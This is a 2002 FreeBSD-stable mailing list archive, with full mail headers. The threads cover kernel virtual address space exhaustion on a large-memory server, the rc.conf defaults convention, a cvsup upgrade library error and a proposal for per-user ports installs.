bs.bayside-group.com.au (gateway.baysidegrp.com.au [61.88.141.194]) by hub.freebsd.org (Postfix) with SMTP id F160637B417 for ; Sun, 21 Apr 2002 14:27:03 -0700 (PDT) Received: (qmail 18037 invoked by uid 85); 21 Apr 2002 21:26:38 -0000 Received: from dparussalla@baysidegrp.com.au by bs.bayside-group.com.au with Undertaker (DiMi)-1.02 (. Clean. Processed in 0.039507 secs); 21 Apr 2002 21:26:38 -0000 Received: from dimi.bayside-group.com.au (HELO dparussalla) (192.168.1.216) by lan.bayside-group.com.au with SMTP; 21 Apr 2002 21:26:37 -0000 Reply-To: From: "Dimuthu Parussalla" To: Subject: TEST - Please igonre Date: Mon, 22 Apr 2002 07:26:28 +1000 Message-ID: <000801c1e97b$332b9cf0$d801a8c0@dparussalla> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Importance: Normal Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 15:21:51 2002 Delivered-To: freebsd-stable@freebsd.org Received: from earth.hub.org (earth.hub.org [64.49.215.11]) by hub.freebsd.org (Postfix) with ESMTP id A869837B405; Sun, 21 Apr 2002 15:20:39 -0700 (PDT) Received: from localhost.localdomain (earth.hub.org [64.49.215.11]) by localhost (Postfix) with ESMTP id 592F510333E; Sun, 21 Apr 2002 19:20:32 -0300 (ADT) Received: from earth.hub.org (earth.hub.org [64.49.215.11]) by earth.hub.org (Postfix) with ESMTP id ED351103333; Sun, 21 Apr 2002 19:20:29 -0300 (ADT) Date: Sun, 21 Apr 2002 19:20:29 -0300 (ADT) From: "Marc G. Fournier" To: Terry Lambert Cc: freebsd-current@freebsd.org, Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? In-Reply-To: <3CC26C91.C81002ED@mindspring.com> Message-ID: <20020421191440.J1721-100000@mail1.hub.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, 21 Apr 2002, Terry Lambert wrote: > No, there's no stats collected on this stuff, because it's a pretty > obvious and straight-forward thing: you have to have a KVA space large > enough that, once you subtract out 4K for each 4M of physical memory and > swap (max 4G total for both), you end up with memory left over for the > kernel to use, and your limits are such that the you don't run out of > PTEs before you run out of mbufs (or whatever you plan on allocating). God, I'm glad its straightforwards :) Okay, first off, you say "(max 4G total for both)" ... do you max *total* between the two, or phy can be 4g *plus* swap can be 4g for a total of 8g? For instance, right now, I have 3Gig of physical and ~3gig of swap allocated ... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 15:41:20 2002 Delivered-To: freebsd-stable@freebsd.org Received: from 12-234-22-238.client.attbi.com (12-234-90-219.client.attbi.com [12.234.90.219]) by hub.freebsd.org (Postfix) with ESMTP id 1596A37B416 for ; Sun, 21 Apr 2002 15:41:04 -0700 (PDT) Received: from Master.gorean.org (master.gorean.org [10.0.0.2]) by 12-234-22-238.client.attbi.com (8.12.2/8.12.2) with ESMTP id g3LMf0Ht056415; Sun, 21 Apr 2002 15:41:00 -0700 (PDT) (envelope-from DougB@FreeBSD.org) Received: from Master.gorean.org (zoot [127.0.0.1]) by Master.gorean.org (8.12.2/8.12.2) with ESMTP id g3LMf2Lr017988; Sun, 21 Apr 2002 15:41:02 -0700 (PDT) (envelope-from DougB@FreeBSD.org) Received: from localhost (doug@localhost) by Master.gorean.org (8.12.2/8.12.2/Submit) with ESMTP id g3LMexd5017985; Sun, 21 Apr 2002 15:41:02 -0700 (PDT) X-Authentication-Warning: Master.gorean.org: doug owned process doing -bs Date: Sun, 21 Apr 2002 15:40:59 -0700 (PDT) From: Doug Barton X-X-Sender: doug@master.gorean.org To: Dimuthu Parussalla Cc: freebsd-stable@FreeBSD.org Subject: Re: TEST - Please igonre In-Reply-To: <000801c1e97b$332b9cf0$d801a8c0@dparussalla> Message-ID: <20020421154018.M17880-100000@master.gorean.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Never send test messages to public lists. There is a list you can subscribe to, test@freebsd.org, that will let you test things to your heart's desire. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 15:49: 2 2002 Delivered-To: freebsd-stable@freebsd.org Received: from 12-234-22-238.client.attbi.com (12-234-90-219.client.attbi.com [12.234.90.219]) by hub.freebsd.org (Postfix) with ESMTP id D2EEF37B404 for ; Sun, 21 Apr 2002 15:44:59 -0700 (PDT) Received: from Master.gorean.org (master.gorean.org [10.0.0.2]) by 12-234-22-238.client.attbi.com (8.12.2/8.12.2) with ESMTP id g3LMixHt056430; Sun, 21 Apr 2002 15:44:59 -0700 (PDT) (envelope-from DougB@FreeBSD.org) Received: from Master.gorean.org (zoot [127.0.0.1]) by Master.gorean.org (8.12.2/8.12.2) with ESMTP id g3LMj1Lr017997; Sun, 21 Apr 2002 15:45:01 -0700 (PDT) (envelope-from DougB@FreeBSD.org) Received: from localhost (doug@localhost) by Master.gorean.org (8.12.2/8.12.2/Submit) with ESMTP id g3LMj0Tt017994; Sun, 21 Apr 2002 15:45:01 -0700 (PDT) X-Authentication-Warning: Master.gorean.org: doug owned process doing -bs Date: Sun, 21 Apr 2002 15:45:00 -0700 (PDT) From: Doug Barton X-X-Sender: doug@master.gorean.org To: "M. Warner Losh" Cc: freebsd-stable@FreeBSD.org Subject: Re: /etc/defaults/rc.conf theory In-Reply-To: <20020421.113046.131323596.imp@village.org> Message-ID: <20020421154112.N17880-100000@master.gorean.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, 21 Apr 2002, M. Warner Losh wrote: > In message: <200204200256.g3K2uOu10038@sheol.localdomain> > hawkeyd@visi.com (D J Hawkey Jr) writes: > : IMHO, you muddy, if not nullify, the abstract altogether. You are advocating > : copying this file down to /etc, and editing it. There goes the concept of > : "overriding the values contained in this file". > > Yes. /etc/defaults/rc.conf and /etc/rc.conf are separated because we > wanted to change the defaults from time to time. Users hate this. > I agree that copying /etc/defaults/rc.conf is a horrible idea. Down > right stupid and should never be advocated. *EVER*. We had that > paradigm in FreeBSD 1.x and 2.x and it *DID*NOT*WORK*. That's the whole > reason that we separated things out into two files. People keep leaving off the rest of the advice I gave, which is to set the variables for the things you care about, and delete the rest. I think this is perfectly reasonable advice. Relying on the defaults not changing for things that are important to your local installation is foolhardy, IMO. -- "We have known freedom's price. We have shown freedom's power. And in this great conflict, ... we will see freedom's victory." - George W. Bush, President of the United States State of the Union, January 28, 2002 Do YOU Yahoo!? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 16:25:53 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mailcleaner1.gits.net.th (mailcleaner1.gits.net.th [164.115.2.138]) by hub.freebsd.org (Postfix) with ESMTP id B9DC937B405 for ; Sun, 21 Apr 2002 16:21:35 -0700 (PDT) Received: (qmail 8043 invoked from network); 21 Apr 2002 23:21:23 -0000 Received: from mail.gits.net.th (HELO gits.net.th) (164.115.2.136) by mailcleaner1.gits.net.th with SMTP; 21 Apr 2002 23:21:23 -0000 Received: (qmail 18402 invoked by uid 507); 21 Apr 2002 23:21:57 -0000 Received: from somphol@gits.net.th by mail.gits.net.th with qmail-scanner-1.01 (iscan: v3.1/v5.500-0829/127/38468. . Clean. Processed in 1.320409 secs); 21 Apr 2002 23:21:57 -0000 Received: from unknown (HELO ple) (203.150.154.186) by 0 with SMTP; 21 Apr 2002 23:21:56 -0000 Message-ID: <004701c1e98c$0e856140$ba9a96cb@ple> From: "Somphol B." To: "Dennis Pedersen" , "Steve Kargl" Cc: References: <010401c1e93b$d39b30f0$0301a8c0@dpws> <016701c1e945$a23dd120$0301a8c0@dpws> <20020421091928.A15029@troutmask.apl.washington.edu> <01fa01c1e959$a77af960$0301a8c0@dpws> <20020421110309.A15494@troutmask.apl.washington.edu> <022c01c1e961$1aa07f30$0301a8c0@dpws> Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting from rc.conf Date: Mon, 22 Apr 2002 06:27:04 +0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG As I could remember, there was a recent change in cvsup that link it against X's library. The command line version can be found at /usr/ports/net/cvsup-without-gui. --Somphol. ----- Original Message ----- From: "Dennis Pedersen" To: "Steve Kargl" Cc: Sent: Monday, April 22, 2002 1:19 AM Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting from rc.conf > > ----- Original Message ----- > From: "Steve Kargl" > To: "Dennis Pedersen" > Cc: > Sent: Sunday, April 21, 2002 8:03 PM > Subject: Re: Upgrade from 4,5Stable->4,5-RELASE . refuse to accept setting > from rc.conf > > > > On Sun, Apr 21, 2002 at 07:26:20PM +0200, Dennis Pedersen wrote: > > >>> I would do the hole upgrade process over again but the ld-elf.so.1 > error > > >>> keeps comming up. Any good ideas? > > > > What is the exact error message? > > /usr/libexec/ld-elt.so.1 : Shared object "libXaw.so.6" not found > > > > > > I updated the system according to the howto > > > http://www.mostgraveconcern.com/freebsd/mw.html > > > And used the following sup file: > > > *default host=mirror03.inet.tele.dk > > > *default base=/usr > > > *default prefix=/usr > > > *default release=cvs > > > *default tag=RELENG_4_5 > > > > If you were running a FreeBSD-stable, then > > the above tag should have been RELENG_4, and > > indeed the RELENG_4_5 tag pulled the 4.5 release > > sources (and any critical/security fixes). You > > probably have regression in one of the shared libraries, > > and your cvsup is most likely linked against the a newer > > library version. > > Uhm okai , it was just an example i got on a bsd chanel. > Is there an "easy" way of getting my BSD back on the right track? (im kind > of new in the updating part , i have only done it one time before this > tragic one..) > > Regards, > Dennis > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 16:51:38 2002 Delivered-To: freebsd-stable@freebsd.org Received: from earth.hub.org (earth.hub.org [64.49.215.11]) by hub.freebsd.org (Postfix) with ESMTP id D6F3437B400; Sun, 21 Apr 2002 16:50:44 -0700 (PDT) Received: from localhost.localdomain (earth.hub.org [64.49.215.11]) by localhost (Postfix) with ESMTP id 0E3641033EA; Sun, 21 Apr 2002 20:50:41 -0300 (ADT) Received: from earth.hub.org (earth.hub.org [64.49.215.11]) by earth.hub.org (Postfix) with ESMTP id C25031033E3; Sun, 21 Apr 2002 20:50:40 -0300 (ADT) Date: Sun, 21 Apr 2002 20:50:40 -0300 (ADT) From: "Marc G. Fournier" To: Terry Lambert Cc: freebsd-current@freebsd.org, Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? In-Reply-To: <3CC26C91.C81002ED@mindspring.com> Message-ID: <20020421201025.C1721-100000@mail1.hub.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, 21 Apr 2002, Terry Lambert wrote: > "Marc G. Fournier" wrote: > > > You have more memory than you can allocate kernel memory to > > > provide page table entries for. > > > > > > The only solution is to increase your kernel virtual address > > > space size to accomodate the page mappings. > > > > > > How to do this varies widely by the version of FreeBSD you are > > > using, and, unless you read "NOTES" and are running a recent > > > -current, is not incredibly well documented, and requires an > > > understanding of how the virtual address space is laid out and > > > managed (which is also not well documented anywhere). > > > > Ya, this is the roadblock I'm hitting :( I'm running 4.5-STABLE here, as > > of this afternoon ... thoughts/suggestiosn based on that? > > Read the handbook as it existed for 4.5-STABLE, and read NOTES. > It (sorta) tells you how to increase your KVA size. > > > > Also, is there somethign that I can run to monitor this, similar to > > running netstat -m to watch nmbclusters? > > DDB? 8-) 8-). > > No, there's no stats collected on this stuff, because it's a > pretty obvious and straight-forward thing: you have to have a > KVA space large enough that, once you subtract out 4K for each > 4M of physical memory and swap (max 4G total for both), you > end up with memory left over for the kernel to use, and your > limits are such that the you don't run out of PTEs before you > run out of mbufs (or whatever you plan on allocating). ... and translated to english, this means? :) Okay, I'm going to assume that I'm allowed 4Gig of RAM + 4Gig of Swap, for a total of 8Gig ... so, if I subtract out 4K for each 4M, that is 8M for ... what? So, I've theoretically got 8184M of VM available for the kernel to use right now? what are PTEs and how do I know how many I have right now? as for mbufs, I've currently got: jupiter> netstat -m 173/1664/61440 mbufs in use (current/peak/max): 77 mbufs allocated to data 96 mbufs allocated to packet headers 71/932/15360 mbuf clusters in use (current/peak/max) 2280 Kbytes allocated to network (4% of mb_map in use) 0 requests for memory denied 0 requests for memory delayed 0 calls to protocol drain routines So how do I find out where my PTEs are sitting at? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 17: 2:55 2002 Delivered-To: freebsd-stable@freebsd.org Received: from peak.mountin.net (peak.mountin.net [207.227.119.2]) by hub.freebsd.org (Postfix) with ESMTP id 3EE1537B417; Sun, 21 Apr 2002 16:58:37 -0700 (PDT) Received: (from daemon@localhost) by peak.mountin.net (8.9.1/8.9.1) id SAA22096; Sun, 21 Apr 2002 18:58:36 -0500 (CDT) (envelope-from jeff-ml@mountin.net) Received: from mke-65-29-139-162.wi.rr.com(65.29.139.162) by peak.mountin.net via smap (V1.3) id sma022094; Sun Apr 21 18:58:16 2002 Message-Id: <4.3.2.20020421184614.00c8d740@207.227.119.2> X-Sender: jeff-ml@207.227.119.2 X-Mailer: QUALCOMM Windows Eudora Version 4.3 Date: Sun, 21 Apr 2002 18:57:39 -0500 To: Doug Barton From: "Jeffrey J. Mountin" Subject: Re: /etc/defaults/rc.conf theory Cc: freebsd-stable@FreeBSD.ORG In-Reply-To: <20020421154112.N17880-100000@master.gorean.org> References: <20020421.113046.131323596.imp@village.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG At 03:45 PM 4/21/02 -0700, Doug Barton wrote: > People keep leaving off the rest of the advice I gave, which is to >set the variables for the things you care about, and delete the rest. I >think this is perfectly reasonable advice. Relying on the defaults not >changing for things that are important to your local installation is >foolhardy, IMO. Another good idea is to diff /etc/defaults.rc.conf src/etc/defaults/rc.conf and similar files before doing a build or merge. Or at least pay attention when merging and then changes will be known before they are applied. Then I tend to pre-merge and avoid some issues (ala smmsp user). Would rather everything be off and turn on what is needed. This should be made the policy for any additions to rc.conf. Should be used to it, but grow tired of big deals being made out of little things. Or it's just those doing upgrades don't do their homework. Think you are right doing the change now, as I doubt many will be paying attention when 5.0 is released and they assume things are the same. Either a little pain now or a lot later. Jeff Mountin - jeff@mountin.net Systems/Network Administrator FreeBSD - the power to serve To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 17:25:54 2002 Delivered-To: freebsd-stable@freebsd.org Received: from rover.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id 2C09C37B404; Sun, 21 Apr 2002 17:25:50 -0700 (PDT) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.11.3/8.11.3) with ESMTP id g3M0PnH68910; Sun, 21 Apr 2002 18:25:49 -0600 (MDT) (envelope-from imp@village.org) Received: from localhost (warner@rover2.village.org [10.0.0.1]) by harmony.village.org (8.11.6/8.11.6) with ESMTP id g3M0Pmb15553; Sun, 21 Apr 2002 18:25:48 -0600 (MDT) (envelope-from imp@village.org) Date: Sun, 21 Apr 2002 18:25:08 -0600 (MDT) Message-Id: <20020421.182508.26145541.imp@village.org> To: DougB@FreeBSD.org Cc: freebsd-stable@FreeBSD.org Subject: Re: /etc/defaults/rc.conf theory From: "M. Warner Losh" In-Reply-To: <20020421154112.N17880-100000@master.gorean.org> References: <20020421.113046.131323596.imp@village.org> <20020421154112.N17880-100000@master.gorean.org> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message: <20020421154112.N17880-100000@master.gorean.org> Doug Barton writes: : On Sun, 21 Apr 2002, M. Warner Losh wrote: : : > In message: <200204200256.g3K2uOu10038@sheol.localdomain> : > hawkeyd@visi.com (D J Hawkey Jr) writes: : > : IMHO, you muddy, if not nullify, the abstract altogether. You are advocating : > : copying this file down to /etc, and editing it. There goes the concept of : > : "overriding the values contained in this file". : > : > Yes. /etc/defaults/rc.conf and /etc/rc.conf are separated because we : > wanted to change the defaults from time to time. : : Users hate this. No they don't. That's just your assertion, but in fact we have several yaers of evidence to the contrary. Only when we change the defaults do people care at all. : > I agree that copying /etc/defaults/rc.conf is a horrible idea. Down : > right stupid and should never be advocated. *EVER*. We had that : > paradigm in FreeBSD 1.x and 2.x and it *DID*NOT*WORK*. That's the whole : > reason that we separated things out into two files. : : People keep leaving off the rest of the advice I gave, which is to : set the variables for the things you care about, and delete the rest. I : think this is perfectly reasonable advice. Relying on the defaults not : changing for things that are important to your local installation is : foolhardy, IMO. Agreed. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 23:32:17 2002 Delivered-To: freebsd-stable@freebsd.org Received: from a96180.upc-a.chello.nl (a96180.upc-a.chello.nl [62.163.96.180]) by hub.freebsd.org (Postfix) with ESMTP id 103FE37B429 for ; Sun, 21 Apr 2002 23:32:12 -0700 (PDT) Received: by a96180.upc-a.chello.nl (Postfix, from userid 1001) id 9A17B2170; Mon, 22 Apr 2002 07:53:34 +0200 (CEST) Date: Mon, 22 Apr 2002 07:53:34 +0200 From: Jeroen Ruigrok/asmodai To: Vallo Kallaste Cc: "Marc G. Fournier" , Terry Lambert , freebsd-stable@FreeBSD.ORG Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? Message-ID: <20020422055334.GC54143@daemon.ninth-circle.org> References: <3CC2288B.94DDFBC1@mindspring.com> <20020421000839.A1721-100000@mail1.hub.org> <20020421121609.GA18597@myhakas.estpak.ee> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020421121609.GA18597@myhakas.estpak.ee> User-Agent: Mutt/1.3.28i Organisation: Ninth Circle Enterprises Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG -On [20020421 14:30], Vallo Kallaste (kalts@estpak.ee) wrote: >Marc, I seem to remember that David Greenman had some emails about >issues similar to yours. I think I actually saw someone with similar problems in the last month. Now to remember where I saw it. Has to be on this list, since I have unsubscribed from most, and have only tracked -stable with a bit of interest. -- Jeroen Ruigrok van der Werven / asmodai / Kita no Mono asmodai@[wxs.nl|xmach.org], finger asmodai@ninth-circle.org http://www.softweyr.com/asmodai/ | http://www.[tendra|xmach].org/ The rest is silence... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Apr 21 23:32:17 2002 Delivered-To: freebsd-stable@freebsd.org Received: from a96180.upc-a.chello.nl (a96180.upc-a.chello.nl [62.163.96.180]) by hub.freebsd.org (Postfix) with ESMTP id 090D537B417; Sun, 21 Apr 2002 23:32:11 -0700 (PDT) Received: by a96180.upc-a.chello.nl (Postfix, from userid 1001) id 4CCD02172; Mon, 22 Apr 2002 08:04:49 +0200 (CEST) Date: Mon, 22 Apr 2002 08:04:49 +0200 From: Jeroen Ruigrok/asmodai To: "Marc G. Fournier" Cc: freebsd-current@freebsd.org, freebsd-stable@freebsd.org Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? Message-ID: <20020422060449.GE54143@daemon.ninth-circle.org> References: <20020420190408.O30724-100000@mail1.hub.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020420190408.O30724-100000@mail1.hub.org> User-Agent: Mutt/1.3.28i Organisation: Ninth Circle Enterprises Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Marc, -On [20020421 00:30], Marc G. Fournier (scrappy@hub.org) wrote: > >Over the past week, I've been trying to get information on how to fix a >server that panics with: > >| panic: vm_map_entry_create: kernel resources exhausted >| mp_lock = 01000001; cpuid = 1; lapic.id = 01000000 >| boot() called on cpu#1 Take a look at this: http://www.freebsd.org/cgi/getmsg.cgi?fetch=245329+248644+/usr/local/www/db/text/2001/freebsd-hackers/20010624.freebsd-hackers Hope this helps, -- Jeroen Ruigrok van der Werven / asmodai / Kita no Mono asmodai@[wxs.nl|xmach.org], finger asmodai@ninth-circle.org http://www.softweyr.com/asmodai/ | http://www.[tendra|xmach].org/ How many cares one loses when one decides not to be something but to be someone. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 2:35:36 2002 Delivered-To: freebsd-stable@freebsd.org Received: from snipe.prod.itd.earthlink.net (snipe.mail.pas.earthlink.net [207.217.120.62]) by hub.freebsd.org (Postfix) with ESMTP id C046F37B42C; Mon, 22 Apr 2002 02:35:21 -0700 (PDT) Received: from pool0030.cvx21-bradley.dialup.earthlink.net ([209.179.192.30] helo=mindspring.com) by snipe.prod.itd.earthlink.net with esmtp (Exim 3.33 #2) id 16zaBg-0001Gn-00; Mon, 22 Apr 2002 02:32:44 -0700 Message-ID: <3CC3D8A0.3981857A@mindspring.com> Date: Mon, 22 Apr 2002 02:32:16 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "Marc G. Fournier" Cc: freebsd-current@freebsd.org, freebsd-stable@freebsd.org Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? References: <20020421201025.C1721-100000@mail1.hub.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "Marc G. Fournier" wrote: > > No, there's no stats collected on this stuff, because it's a > > pretty obvious and straight-forward thing: you have to have a > > KVA space large enough that, once you subtract out 4K for each > > 4M of physical memory and swap (max 4G total for both), you > > end up with memory left over for the kernel to use, and your > > limits are such that the you don't run out of PTEs before you > > run out of mbufs (or whatever you plan on allocating). > > ... and translated to english, this means? :) > > Okay, I'm going to assume that I'm allowed 4Gig of RAM + 4Gig of Swap, for > a total of 8Gig ... so, if I subtract out 4K for each 4M, that is 8M for > ... what? > > So, I've theoretically got 8184M of VM available for the kernel to use > right now? what are PTEs and how do I know how many I have right now? as > for mbufs, I've currently got: No. Each 4M of physical memory takes 4K of statically allocated KVA. Each 4M of backing store takes 4K of statically allocated KVA. The definition of "backing store" includes: o All dirty data pages in swap o All dirty code pages in swap o All clean data pages in files mapped into process or kernel address space o All clean code pages for executables mapped into process or kernel address space o Reserved mappings for copy-on-write pages that haven't yet been written A PTE is a "page table entry". It's the 32 bit value in the page table for each address space (one for the kernel, one per process). See the books I posted the titles of for more details, or read the Intel processor PDF's from their developer web site. > jupiter> netstat -m > 173/1664/61440 mbufs in use (current/peak/max): > 77 mbufs allocated to data > 96 mbufs allocated to packet headers > 71/932/15360 mbuf clusters in use (current/peak/max) > 2280 Kbytes allocated to network (4% of mb_map in use) > 0 requests for memory denied > 0 requests for memory delayed > 0 calls to protocol drain routines > > So how do I find out where my PTEs are sitting at? The mbufs are only important because most people allocate a large number of mbufs up front for networking applications, or for alrge numbers of users with network applications that will need resources in order to be able to actually run. There's also protocol control blocks and other allocation that occur up front, based on the maximum number of system open files and sockets you intend to permit. The user space stuff is generally a lot easier to calculate: do a "ps -gaxl", round each entry in the "VSZ" column up to 4M, divide by 4K, and that tells you how many 4K units you have allocated for user space. For kernel space, the answer is that there are some allocated at boot time, (120M worth), and then the kernel map is grown, as necessary, until it hits the KVA space limit. If you plan on using up every byte, then divide your total KVA space by 4K to get the number of 4K pages allocated there. For the kernel stuff... you basically need to know where the kernel puts how much memory, based on the tuning parameters you use on it. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 4: 2:20 2002 Delivered-To: freebsd-stable@freebsd.org Received: from cha212186190131.chello.fr (cha212186190131.chello.fr [212.186.190.131]) by hub.freebsd.org (Postfix) with SMTP id A5FAB37B404 for ; Mon, 22 Apr 2002 04:02:17 -0700 (PDT) Received: (qmail 87767 invoked by uid 1005); 22 Apr 2002 10:40:51 -0000 Date: Mon, 22 Apr 2002 12:40:51 +0200 From: Fictif To: FreeBSD ML Subject: Ports dealing with non-root users suggestion Message-ID: <20020422124051.A79219@mysticjah.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG The idea is to allow normal users to use the ports dir to install apps. I think it's an interesting idea to allow users to keep a clean home dir and this would allow the Admin to know what apps users are using... Then a script could link the existing apps existing on different users account toward a same location (btw,just in case the app was not installed by the Admin). Here is the idea which implies many features and requirements (like a dir for 'users ports' -needed for various libs, shared docs or logs files- which doesn't depend on the usual dirs). I don't see bigs troubles implied by this way of installing apps but you propably do (That's why I'm posting). IMHO, this have the advantage of reducing disk space used by users, this would give simple way to the Admin to monitor the users apps and to upgrade theses apps. There is probably a safe way to implement this using the existing ports dir. Fictif To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Mon Apr 22 5: 0:21 2002 Delivered-To: freebsd-stable@freebsd.org Received: from soulshock.mail.pas.earthlink.net (soulshock.mail.pas.earthlink.net [207.217.120.130]) by hub.freebsd.org (Postfix) with ESMTP id D440237B430; Mon, 22 Apr 2002 05:00:05 -0700 (PDT) Received: from snipe.prod.itd.earthlink.net (snipe.mail.pas.earthlink.net [207.217.120.62]) by soulshock.mail.pas.earthlink.net (8.11.6+Sun/8.11.6) with ESMTP id g3M9Fqw27585; Mon, 22 Apr 2002 02:15:52 -0700 (PDT) Received: from pool0030.cvx21-bradley.dialup.earthlink.net ([209.179.192.30] helo=mindspring.com) by snipe.prod.itd.earthlink.net with esmtp (Exim 3.33 #2) id 16zZuy-0006r1-00; Mon, 22 Apr 2002 02:15:28 -0700 Message-ID: <3CC3D494.649C2A8E@mindspring.com> Date: Mon, 22 Apr 2002 02:15:00 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "Marc G. Fournier" Cc: freebsd-current@freebsd.org, freebsd-stable@freebsd.org Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? References: <20020421191440.J1721-100000@mail1.hub.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "Marc G. Fournier" wrote: > On Sun, 21 Apr 2002, Terry Lambert wrote: > > No, there's no stats collected on this stuff, because it's a pretty > > obvious and straight-forward thing: you have to have a KVA space large > > enough that, once you subtract out 4K for each 4M of physical memory and > > swap (max 4G total for both), you end up with memory left over for the 